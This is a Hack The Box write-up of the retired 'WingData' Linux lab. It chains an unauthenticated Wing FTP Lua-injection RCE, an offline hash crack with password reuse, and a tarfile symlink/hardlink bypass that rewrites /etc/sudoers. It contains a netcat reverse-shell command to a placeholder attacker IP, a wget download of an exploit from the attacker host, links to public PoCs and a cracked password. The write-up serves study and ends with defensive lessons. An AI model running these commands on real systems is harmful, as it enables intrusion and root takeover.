root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat wingdata.md
// writeups

WingData

14 Feb 2026 · 12 min read
WingData - maquina de Hack The Box

Executive summary — WingData is an Easy Linux box that chains two real 2025 CVEs: an unauthenticated RCE in Wing FTP Server (CVE-2025-47812, listed on CISA's Known Exploited Vulnerabilities Catalog) for the initial shell, and an arbitrary file write in Python's tarfile module (CVE-2025-4517) to jump from a tightly scoped sudo rule to full root. In between, a password hash cached in the FTP server's own configuration is cracked offline and reused over SSH/su. A Web → RCE (Lua) → SSH → tar/sudo → Root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.244.106

Attack map

[80] wingdata.htb → Client Portal → ftp.wingdata.htb
   │  Wing FTP Server 7.4.3 · CVE-2025-47812 (null-byte → Lua RCE, unauth)
   ▼
[SHELL]  wingftp
   │  /opt/wftpserver/.../wacky.xml → hash → offline crack
   ▼
[SSH]  wacky   (user.txt)
   │  sudo -l → NOPASSWD python3 restore_backup_clients.py *
   ▼
[TAR]  the script calls tar.extractall() · CVE-2025-4517 (arbitrary write)
   ▼
[ROOT]  sudoers for wacky → sudo /bin/bash

1. Reconnaissance

Version detection and default scripts against every port:

nmap -sCV -A 10.129.244.106
22/tcp  open  ssh    OpenSSH
80/tcp  open  http   Apache

Only two open ports, so the attack surface is tight: either port 80 hides more than it shows, or SSH needs credentials we don't have yet. Time to dig into the web server.

Port 80 redirects to http://wingdata.htb instead of answering on the bare IP, which gives away virtual hosting: Apache is serving different content based on the Host header, and there's likely more than one hostname configured that we don't know about yet.

2. Hosts configuration

We add the main domain to /etc/hosts so the browser (and curl) send the correct Host header:

echo "10.129.244.106 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts

3. Web enumeration

http://wingdata.htb is a normal corporate site, nothing eye-catching at first glance. The clue is the Client Portal link, which redirects to the ftp.wingdata.htb subdomain — already present in /etc/hosts from the previous step, so it resolves without further setup.

Client/admin portals hidden behind a subdomain are a very common pattern: the public site doesn't link to them directly, but any guessed or leaked vhost (here, handed to us by the link itself) opens the door to the real panel.

4. Vulnerability — CVE-2025-47812

ftp.wingdata.htb turns out to be the web admin interface of Wing FTP Server v7.4.3, vulnerable to CVE-2025-47812: a critical unauthenticated RCE (CVSS 10.0), fixed in 7.4.4 and added to CISA's KEV catalog in July 2025 after active exploitation in the wild.

The flaw sits in the server's login routine, c_CheckUser(), which validates the username with strlen(). A null byte (%00) in the username field makes strlen() cut the string right there: validation only «sees» the prefix (e.g. anonymous) and accepts it, but the server writes the full string — including everything after the null byte — unfiltered into the session file, which is actually a Lua script.

The trick: arbitrary Lua code is appended after the null byte, closed with the brackets needed to keep the session object's syntax intact. Once we then hit any authenticated endpoint (e.g. /dir.html), SessionModule.load() calls loadfile() on that session file and executes it — with the service's own privileges (root/SYSTEM), without ever having supplied a valid password.

5. Exploitation (RCE)

We clone the public PoC, start a listener and run the exploit pointing it at the panel's URL and the command to run (a reverse connection). The script automates building the payload: username + null byte + Lua that fires the command passed via -c:

git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc
nc -lvnp 5555
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
  -c "nc <ATTACKER_IP> 5555 -e /bin/sh"

Result — a shell as the service account wingftp:

id
uid=1000(wingftp) ...

6. Stabilise the shell

The raw reverse shell has no full TTY (no tab-completion, no signal handling, it breaks on Ctrl+C); we upgrade it with the classic Python PTY trick:

python3 -c 'import pty; pty.spawn("/bin/bash")'

7. Internal enumeration

With system access, the first thing to check is which other user accounts exist — the real target is never wingftp, which is just the service account:

ls /home
wingftp
wacky

8. Credentials in the FTP config

Since the compromised account belongs to the FTP service itself, it makes sense to check where Wing FTP stores its user configuration: one XML file per user, inside its data directory:

cd /opt/wftpserver/Data/1/users
cat wacky.xml
... <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password> ...

The filename (wacky.xml) already points straight at the wacky system account we saw in /home: if this password is reused, it's our next hop.

9. Cracking the hash

64 hex characters with no visible salt: a raw SHA-256 (Hashcat mode 1400). We crack it offline against rockyou.txt:

hashcat -m 1400 wacky.hash /usr/share/wordlists/rockyou.txt
!#7Blushing^*Bride5

Why offline: cracking the hash on our own machine generates no noise or account-lockout risk on the target (unlike online brute-forcing against SSH or the FTP itself), and once the plaintext password is recovered it's usually reused on other accounts belonging to the same user.

10. Lateral movement

wacky's FTP password also works for their local system account — the credential-reuse pattern is confirmed:

su wacky
# password: !#7Blushing^*Bride5

11. User flag

cat ~/user.txt

12. Privilege escalation

Now that we have an interactive shell as wacky, the first thing to check is their sudo privileges:

sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Translation: we can run that backup-restore script as root without a password, and the trailing wildcard (*) means we control the arguments passed to it — normally, the path to the backup file to restore.

13. Analysis — CVE-2025-4517 (tar)

The script restores the backup by extracting a tar with Python's tarfile module, using the security filter recommended since Python 3.12: tar.extractall(path=staging_dir, filter="data"). That filter was specifically designed to block dangerous symlinks and paths escaping the extraction directory.

CVE-2025-4517 (CVSS 9.4, affects Python 3.8–3.13.1) shows that filter="data" is not enough: by combining a symlink that escapes upward out of the extraction directory (through a chain of nested subdirectories) with a hardlink pointing at that already-escaped symlink, the filter's check is bypassed and results in arbitrary file write outside the intended sandbox. Since the script runs as root via sudo, the obvious target is /etc/sudoers.

14. Root exploit

We clone the machine-specific PoC, which builds a malicious tar using the symlink+hardlink chain described above pointing at /etc/sudoers, and serve it over HTTP to pull onto the victim:

git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git
cd CVE-2025-4517-POC-HTB-WingData
python3 -m http.server 8000
# on the victim:
cd /tmp
wget http://<ATTACKER_IP>:8000/CVE-2025-4517-POC.py
python3 CVE-2025-4517-POC.py

The PoC generates the trap tar and feeds it to the vulnerable sudo script; on extraction, the arbitrary write appends an entry to /etc/sudoers for wacky:

wacky ALL=(ALL) NOPASSWD: ALL

15. Root

sudo /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)

16. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdWing FTP Server 7.4.3CVE-2025-47812 (unauthenticated RCE via null byte → Lua injection in the session file)Shell as wingftp
LateralFTP config (wacky.xml)SHA-256 user hash cached on disk → offline crack + credential reuseLocal/SSH access as wacky
PrivEscrestore_backup_clients.py script under sudo + tarfile moduleCVE-2025-4517 (filter="data" bypass via symlink+hardlink → arbitrary write)Root (/etc/sudoers edited)

Lessons learned

  • Unpatched third-party services exposed to the internet (Wing FTP 7.4.3, with a critical CVE already on CISA's KEV catalog) equal direct RCE. An up-to-date version inventory would have prevented the whole foothold.
  • Don't cache secrets on disk in reversible or weakly-salted hashed form inside a service's own configuration: the FTP server's wacky.xml was the real pivot into the system.
  • Credential reuse between a service account and the matching system account turns any hash leak into a free lateral jump. Use distinct passwords per context, always.
  • tarfile's security filters (filter="data") aren't foolproof: CVE-2025-4517 shows combined symlinks and hardlinks bypass them. If you extract untrusted tarballs, validate resolved paths manually in addition to trusting the filter, and keep Python patched.
  • sudo with wildcards (*) over a script that processes untrusted input turns a third-party library bug into full root compromise. Restrict exact arguments or wrap the call with input validation.